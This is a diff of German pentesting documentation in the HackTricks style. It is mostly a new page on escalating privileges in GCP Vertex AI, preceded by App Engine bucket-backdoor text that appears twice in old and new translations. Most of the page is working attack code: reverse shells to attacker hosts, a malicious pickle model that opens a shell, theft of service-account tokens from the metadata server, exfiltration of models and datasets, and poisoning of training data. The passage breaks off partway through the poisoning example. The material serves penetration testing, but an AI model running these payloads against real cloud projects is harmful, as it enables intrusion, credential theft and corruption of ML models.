**Sie finden einen PoC dieses Angriffs im Repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
Einen PoC dieses Angriffs findest du im Repo: [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine-Versionen generieren einige Daten in einem Bucket im Formatname: `staging.<project-id>.appspot.com`. In diesem Bucket ist es möglich, einen Ordner namens `ae` zu finden, der einen Ordner pro Version der AppEngine-App enthält, und in diesen Ordnern ist es möglich, die Datei `manifest.json` zu finden. Diese Datei enthält ein JSON mit allen Dateien, die verwendet werden müssen, um die spezifische Version zu erstellen. Darüber hinaus ist es möglich, die **echten Namen der Dateien, die URL zu ihnen im GCP-Bucket (die Dateien im Bucket haben ihren Namen in ihren sha1-Hash geändert) und den sha1-Hash jeder Datei zu finden.**
|
||||
AppEngine-Versionen erzeugen einige Daten in einem Bucket mit dem Format: `staging.<project-id>.appspot.com`. In diesem Bucket findet man einen Ordner namens `ae`, der pro Version der AppEngine-App einen Unterordner enthält; in diesen Ordnern ist die Datei `manifest.json` zu finden. Diese Datei enthält ein JSON mit allen Dateien, die zur Erstellung der jeweiligen Version verwendet werden müssen. Außerdem sind dort die **echten Namen der Dateien, die URL zu ihnen innerhalb des GCP-Buckets (die Dateien im Bucket haben ihren Namen durch ihren sha1-Hash ersetzt) und der sha1-Hash jeder Datei** aufgeführt.
|
||||
|
||||
_Beachten Sie, dass es nicht möglich ist, diesen Bucket im Voraus zu übernehmen, da GCP-Benutzer nicht autorisiert sind, Buckets mit dem Domainnamen appspot.com zu erstellen._
|
||||
_Hinweis: Es ist nicht möglich, diesen Bucket im Vorfeld zu übernehmen, weil GCP-Benutzer nicht berechtigt sind, Buckets mit der Domain appspot.com zu erstellen._
|
||||
|
||||
Mit Lese- und Schreibzugriff auf diesen Bucket ist es jedoch möglich, die Berechtigungen für den SA, der an der App Engine-Version angehängt ist, zu eskalieren, indem der Bucket überwacht wird und jedes Mal, wenn eine Änderung vorgenommen wird (neue Version), die neue Version so schnell wie möglich geändert wird. Auf diese Weise wird der Container, der aus diesem Code erstellt wird, den mit einer Backdoor versehenen Code ausführen.
|
||||
Mit Lese- und Schreibzugriff auf diesen Bucket ist es jedoch möglich, auf die SA zu eskalieren, die an die App Engine-Version angehängt ist, indem man den Bucket überwacht und jedes Mal, wenn eine Änderung vorgenommen wird (neue Version), die neue Version so schnell wie möglich verändert. Auf diese Weise wird der Container, der aus diesem Code erstellt wird, den backdoored Code ausführen.
|
||||
|
||||
Der erwähnte Angriff kann auf viele verschiedene Arten durchgeführt werden, alle beginnen mit der Überwachung des Buckets `staging.<project-id>.appspot.com`:
|
||||
Der beschriebene Angriff kann auf verschiedene Arten durchgeführt werden; alle beginnen mit der Überwachung des Buckets `staging.<project-id>.appspot.com`:
|
||||
|
||||
- Laden Sie den vollständigen neuen Code der AppEngine-Version in einen anderen und verfügbaren Bucket hoch und bereiten Sie eine **`manifest.json`-Datei mit dem neuen Bucket-Namen und den sha1-Hashes vor**. Wenn dann eine neue Version im Bucket erstellt wird, müssen Sie nur die `manifest.json`-Datei ändern und die bösartige hochladen.
|
||||
- Laden Sie eine modifizierte Version von `requirements.txt` hoch, die den **bösartigen Abhängigkeitscode verwendet und die `manifest.json`-Datei** mit dem neuen Dateinamen, der URL und dem Hash aktualisiert.
|
||||
- Laden Sie eine **modifizierte `main.py`- oder `app.yaml`-Datei hoch, die den bösartigen Code ausführt** und die `manifest.json`-Datei mit dem neuen Dateinamen, der URL und dem Hash aktualisiert.
|
||||
- Lade den kompletten neuen Code der AppEngine-Version in einen anderen verfügbaren Bucket hoch und erstelle eine **`manifest.json`-Datei mit dem neuen Bucket-Namen und den sha1-Hashes** der Dateien. Wenn dann eine neue Version im Bucket erstellt wird, musst du nur die `manifest.json`-Datei modifizieren und die bösartige Version hochladen.
|
||||
- Lade eine modifizierte `requirements.txt`-Version hoch, die die **bösartigen Abhängigkeiten** verwendet, und aktualisiere die `manifest.json`-Datei mit dem neuen Dateinamen, der URL und dem Hash.
|
||||
- Lade eine **modifizierte `main.py` oder `app.yaml`-Datei hoch, die den bösartigen Code ausführt**, und aktualisiere die `manifest.json`-Datei mit dem neuen Dateinamen, der URL und dem Hash.
|
||||
|
||||
**Sie finden einen PoC dieses Angriffs im Repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
Einen PoC dieses Angriffs findest du im Repo: [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** speichert die Images in Buckets. Wenn Sie **diese Buckets schreiben können**, könnten Sie in der Lage sein, **seitlich dorthin zu wechseln, wo diese Buckets ausgeführt werden.**
|
||||
- Der Bucket, der von GCR verwendet wird, hat eine URL, die ähnlich ist wie `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Die obersten Subdomains sind [hier](https://cloud.google.com/container-registry/docs/pushing-and-pulling) angegeben).
|
||||
- **Google Container Registry** speichert die Images in Buckets; wenn du in diese Buckets **schreiben** kannst, könntest du dich lateral bewegen zu den Orten, an denen diese Buckets ausgeführt werden.
|
||||
- Der von GCR verwendete Bucket hat eine URL ähnlich zu `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Die Top-Level-Subdomains sind [hier](https://cloud.google.com/container-registry/docs/pushing-and-pulling) angegeben).
|
||||
|
||||
> [!TIP]
|
||||
> Dieser Dienst ist veraltet, daher ist dieser Angriff nicht mehr nützlich. Darüber hinaus speichert der Artifact Registry, der diesen Dienst ersetzt, die Images nicht in Buckets.
|
||||
> Dieser Service ist deprecated, daher ist dieser Angriff nicht mehr nützlich. Außerdem speichert Artifact Registry, der ersetzende Service, die Images nicht in Buckets.
|
||||
|
||||
## **Referenzen**
|
||||
|
||||
|
||||
@@ -0,0 +1,719 @@
|
||||
# GCP - Vertex AI Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
Für weitere Informationen zu Vertex AI siehe:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Mit der Berechtigung `aiplatform.customJobs.create` und `iam.serviceAccounts.actAs` auf einem Ziel-Servicekonto kann ein Angreifer **beliebigen Code mit erhöhten Rechten ausführen**.
|
||||
|
||||
Dies funktioniert, indem ein custom training job erstellt wird, der vom Angreifer kontrollierten Code ausführt (entweder in einem custom container oder als Python-Paket). Wenn ein privilegiertes Servicekonto über die `--service-account`-Option angegeben wird, erbt der Job die Berechtigungen dieses Servicekontos. Der Job läuft auf von Google verwalteter Infrastruktur mit Zugriff auf den GCP metadata service, was die Extraktion des OAuth access token des Servicekontos ermöglicht.
|
||||
|
||||
**Auswirkung**: Vollständige Privilegieneskalation auf die Berechtigungen des Ziel-Servicekontos.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Erstelle custom job mit reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl http://attacker.com" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# On your attacker machine, start a listener first:
|
||||
# nc -lvnp 4444
|
||||
# Once connected, you can extract the token with:
|
||||
# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Method 2: Python reverse shell (if bash reverse shell is blocked)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Alternative: Token aus Logs extrahieren</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=token-exfil-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# Monitor the job logs to get the token
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Der Custom Job läuft mit den Berechtigungen des angegebenen Service Accounts. Stelle sicher, dass du die `iam.serviceAccounts.actAs`-Berechtigung für den Ziel-Service Account besitzt.
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
Diese Technik erreicht Privilegieneskalation, indem ein Modell zu Vertex AI hochgeladen und dieses Modell anschließend genutzt wird, um Code mit erhöhten Rechten über eine Endpoint-Bereitstellung oder einen Batch-Prediction-Job auszuführen.
|
||||
|
||||
> [!NOTE]
|
||||
> Um diesen Angriff durchzuführen, wird ein weltweit lesbarer GCS-Bucket benötigt oder es muss ein neuer Bucket erstellt werden, um die Modellartefakte hochzuladen.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hochladen eines bösartigen pickled-Modells mit reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
cat > create_malicious_model.py <<'EOF'
|
||||
import pickle
|
||||
|
||||
class MaliciousModel:
|
||||
def __reduce__(self):
|
||||
import subprocess
|
||||
cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
|
||||
return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
|
||||
|
||||
# Save malicious model
|
||||
with open('model.pkl', 'wb') as f:
|
||||
pickle.dump(MaliciousModel(), f)
|
||||
EOF
|
||||
|
||||
python3 create_malicious_model.py
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://your-bucket/malicious-model/
|
||||
|
||||
# Upload model (reverse shell executes when endpoint loads it during deployment)
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/malicious-model/ \
|
||||
--display-name=malicious-sklearn \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
|
||||
|
||||
# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Modell hochladen mit container reverse shell</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
# Generate a fake model we need in a storage bucket in order to fake-run it later
|
||||
python3 -c '
|
||||
import pickle
|
||||
pickle.dump({}, open('model.pkl', 'wb'))
|
||||
'
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://any-bucket/dummy-path/
|
||||
|
||||
# Upload model with reverse shell in container args
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://any-bucket/dummy-path/ \
|
||||
--display-name=revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Nach dem Hochladen des bösartigen Modells könnte ein Angreifer warten, bis jemand das Modell verwendet, oder das Modell selbst über ein Endpoint-Deployment oder einen Batch-Prediction-Job starten.
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) oder ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
Wenn Sie Berechtigungen haben, Modelle zu Endpoints zu erstellen und bereitzustellen, oder Endpoint-IAM-Richtlinien zu ändern, können Sie hochgeladene bösartige Modelle im Projekt nutzen, um eine Privilegieneskalation zu erreichen. Um eines der zuvor hochgeladenen bösartigen Modelle über einen Endpoint auszulösen, müssen Sie nur:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bösartiges Modell auf einem Endpoint bereitstellen</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-endpoint
|
||||
|
||||
# Deploy with privileged service account
|
||||
gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
--region=<region> \
|
||||
--model=<model-id> \
|
||||
--display-name=revshell-deployment \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com \
|
||||
--machine-type=n1-standard-2 \
|
||||
--min-replica-count=1
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Wenn du die Berechtigung hast, einen **batch prediction job** zu erstellen und ihn mit einem Servicekonto auszuführen, kannst du auf den Metadata-Service zugreifen. Der bösartige Code wird während des Batch-Prediction-Prozesses aus einem **custom prediction container** oder einem **malicious model** ausgeführt.
|
||||
|
||||
**Hinweis**: Batch-Prediction-Jobs können nur über die REST API oder das Python SDK erstellt werden (keine gcloud-CLI-Unterstützung).
|
||||
|
||||
> [!NOTE]
|
||||
> Dieser Angriff erfordert zunächst das Hochladen eines bösartigen Modells (siehe Abschnitt `aiplatform.models.upload` oben) oder die Verwendung eines custom prediction container mit deinem reverse shell code.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Batch-Prediction-Job mit bösartigem Modell erstellen</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/dummy-model/ \
|
||||
--display-name=batch-revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
# Step 2: Create dummy input file for batch prediction
|
||||
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
|
||||
|
||||
# Step 3: Create batch prediction job using that malicious model
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="<model-id-from-step-1>"
|
||||
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
|
||||
-d '{
|
||||
"displayName": "batch-exfil-job",
|
||||
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
|
||||
"inputConfig": {
|
||||
"instancesFormat": "jsonl",
|
||||
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
|
||||
},
|
||||
"outputConfig": {
|
||||
"predictionsFormat": "jsonl",
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
|
||||
},
|
||||
"dedicatedResources": {
|
||||
"machineSpec": {
|
||||
"machineType": "n1-standard-2"
|
||||
},
|
||||
"startingReplicaCount": 1,
|
||||
"maxReplicaCount": 1
|
||||
},
|
||||
"serviceAccount": "'${TARGET_SA}'"
|
||||
}'
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# The reverse shell executes when the batch job starts processing predictions
|
||||
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
Wenn Sie die **models.export**-Berechtigung haben, können Sie Modellartefakte in einen von Ihnen kontrollierten GCS-Bucket exportieren und dadurch möglicherweise auf sensible Trainingsdaten oder Modell-Dateien zugreifen.
|
||||
|
||||
> [!NOTE]
|
||||
> Um diesen Angriff durchzuführen, benötigen Sie einen GCS-Bucket, der weltweit lesbar und beschreibbar ist, oder Sie müssen einen neuen erstellen, um die Modellartefakte hochzuladen.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Modellartefakte in einen GCS-Bucket exportieren</summary>
|
||||
```bash
|
||||
# Export model artifacts to your own GCS bucket
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="target-model-id"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
|
||||
-d '{
|
||||
"outputConfig": {
|
||||
"exportFormatId": "custom-trained",
|
||||
"artifactDestination": {
|
||||
"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
|
||||
}
|
||||
}
|
||||
}'
|
||||
|
||||
# Wait for the export operation to complete, then download
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Erstelle **ML pipeline jobs**, die mehrere Schritte mit beliebigen Containern ausführen und privilege escalation durch reverse shell-Zugriff ermöglichen.
|
||||
|
||||
Pipelines sind besonders mächtig für privilege escalation, da sie mehrstufige Angriffe unterstützen, bei denen jede Komponente unterschiedliche Container und Konfigurationen verwenden kann.
|
||||
|
||||
> [!NOTE]
|
||||
> Du benötigst einen für alle beschreibbaren GCS-Bucket, der als Pipeline-Root verwendet wird.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Installiere Vertex AI SDK</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pipeline-Job mit reverse shell-Container erstellen</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import subprocess
|
||||
|
||||
PROJECT_ID = "<project-id>"
|
||||
REGION = "us-central1"
|
||||
TARGET_SA = "<sa-email>"
|
||||
|
||||
# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
|
||||
pipeline_spec = {
|
||||
"schemaVersion": "2.1.0",
|
||||
"sdkVersion": "kfp-2.0.0",
|
||||
"pipelineInfo": {
|
||||
"name": "data-processing-pipeline"
|
||||
},
|
||||
"root": {
|
||||
"dag": {
|
||||
"tasks": {
|
||||
"process-task": {
|
||||
"taskInfo": {
|
||||
"name": "process-task"
|
||||
},
|
||||
"componentRef": {
|
||||
"name": "comp-process"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"components": {
|
||||
"comp-process": {
|
||||
"executorLabel": "exec-process"
|
||||
}
|
||||
},
|
||||
"deploymentSpec": {
|
||||
"executors": {
|
||||
"exec-process": {
|
||||
"container": {
|
||||
"image": "python:3.11-slim",
|
||||
"command": ["python3"],
|
||||
"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Create the request body
|
||||
request_body = {
|
||||
"displayName": "ml-training-pipeline",
|
||||
"runtimeConfig": {
|
||||
"gcsOutputDirectory": "gs://gstorage-name/folder"
|
||||
},
|
||||
"pipelineSpec": pipeline_spec,
|
||||
"serviceAccount": TARGET_SA
|
||||
}
|
||||
|
||||
# Get access token
|
||||
token_result = subprocess.run(
|
||||
["gcloud", "auth", "print-access-token"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True
|
||||
)
|
||||
access_token = token_result.stdout.strip()
|
||||
|
||||
# Submit via REST API
|
||||
import requests
|
||||
|
||||
url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
|
||||
headers = {
|
||||
"Authorization": f"Bearer {access_token}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
print(f"Submitting pipeline job to {url}")
|
||||
response = requests.post(url, headers=headers, json=request_body)
|
||||
|
||||
if response.status_code in [200, 201]:
|
||||
result = response.json()
|
||||
print(f"✓ Pipeline job submitted successfully!")
|
||||
print(f" Job name: {result.get('name', 'N/A')}")
|
||||
print(f" Check your reverse shell listener for connection")
|
||||
else:
|
||||
print(f"✗ Error: {response.status_code}")
|
||||
print(f" {response.text}")
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Erstelle **hyperparameter tuning jobs**, die beliebigen Code mit erhöhten Rechten über benutzerdefinierte Trainings-Container ausführen.
|
||||
|
||||
Hyperparameter tuning jobs ermöglichen es, mehrere Training-Trials parallel auszuführen, jeweils mit unterschiedlichen Hyperparameter-Werten. Wenn du einen bösartigen Container mit einer reverse shell oder einem exfiltration command angibst und diesen mit einem privilegierten Servicekonto verknüpfst, kannst du eine Privilegieneskalation erreichen.
|
||||
|
||||
**Auswirkung**: Vollständige Privilegieneskalation auf die Berechtigungen des Ziel-Servicekontos.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hyperparameter tuning job mit reverse shell erstellen</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
cat > hptune-config.yaml <<'EOF'
|
||||
studySpec:
|
||||
metrics:
|
||||
- metricId: accuracy
|
||||
goal: MAXIMIZE
|
||||
parameters:
|
||||
- parameterId: learning_rate
|
||||
doubleValueSpec:
|
||||
minValue: 0.001
|
||||
maxValue: 0.1
|
||||
algorithm: ALGORITHM_UNSPECIFIED
|
||||
trialJobSpec:
|
||||
workerPoolSpecs:
|
||||
- machineSpec:
|
||||
machineType: n1-standard-4
|
||||
replicaCount: 1
|
||||
containerSpec:
|
||||
imageUri: python:3.11-slim
|
||||
command: ["python3"]
|
||||
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
EOF
|
||||
|
||||
# Create the HP tuning job
|
||||
gcloud ai hp-tuning-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=hyperparameter-optimization \
|
||||
--config=hptune-config.yaml
|
||||
|
||||
# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
Exportiere **datasets**, um Trainingsdaten zu exfiltrate, die sensible Informationen enthalten können.
|
||||
|
||||
**Hinweis**: Dataset-Operationen erfordern REST API oder Python SDK (keine gcloud CLI-Unterstützung für datasets).
|
||||
|
||||
Datasets enthalten häufig die ursprünglichen Trainingsdaten, die PII, vertrauliche Geschäftsdaten oder andere sensible Informationen enthalten können, die zum Training von Produktionsmodellen verwendet wurden.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dataset exportieren, um Trainingsdaten zu exfiltrate</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Export a dataset to your own bucket using REST API
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
|
||||
-d '{
|
||||
"exportConfig": {
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
|
||||
}
|
||||
}'
|
||||
|
||||
# The export operation runs asynchronously and will return an operation ID
|
||||
# Wait a few seconds for the export to complete
|
||||
|
||||
# Step 3: Download the exported data
|
||||
gsutil ls -r gs://your-controlled-bucket/exported-data/
|
||||
|
||||
# Download all exported files
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
|
||||
|
||||
# Step 4: View the exported data
|
||||
# The data will be in JSONL format with references to training data locations
|
||||
cat exported-data/*/data-*.jsonl
|
||||
|
||||
# The exported data may contain:
|
||||
# - References to training images/files in GCS buckets
|
||||
# - Dataset annotations and labels
|
||||
# - PII (Personally Identifiable Information)
|
||||
# - Sensitive business data
|
||||
# - Internal documents or communications
|
||||
# - Credentials or API keys in text data
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
Importiere bösartige oder poisoned Daten in vorhandene Datasets, um das Modelltraining zu manipulieren und Backdoors einzuführen.
|
||||
|
||||
**Hinweis**: Dataset-Operationen erfordern REST API oder Python SDK (keine gcloud CLI-Unterstützung für Datasets).
|
||||
|
||||
Durch das Importieren gezielt erstellter Daten in ein Dataset, das zum Training von ML-Modellen verwendet wird, kann ein Angreifer:
|
||||
- Backdoors in Modelle einführen (trigger-basierte Fehlklassifikation)
|
||||
- Poison Trainingsdaten, um die Modellleistung zu verschlechtern
|
||||
- Daten injizieren, um Modelle dazu zu bringen, Informationen zu leaken
|
||||
- Modellverhalten für bestimmte Eingaben manipulieren
|
||||
|
||||
Dieser Angriff ist besonders effektiv, wenn er auf Datasets abzielt, die für folgende Zwecke verwendet werden:
|
||||
- Bildklassifikation (falsch beschriftete Bilder injizieren)
|
||||
- Textklassifikation (voreingenommenen oder bösartigen Text injizieren)
|
||||
- Objekterkennung (Begrenzungsrahmen manipulieren)
|
||||
- Empfehlungssysteme (gefälschte Präferenzen injizieren)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Import poisoned data into dataset</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Prepare malicious data in the correct format
|
||||
# For image classification, create a JSONL file with poisoned labels
|
||||
cat > poisoned_data.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
EOF
|
||||
|
||||
# For text classification
|
||||
cat > poisoned_text.jsonl <<'EOF'
|
||||
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
|
||||
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
|
||||
EOF
|
||||
|
||||
# Upload poisoned data to GCS
|
||||
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
|
||||
|
||||
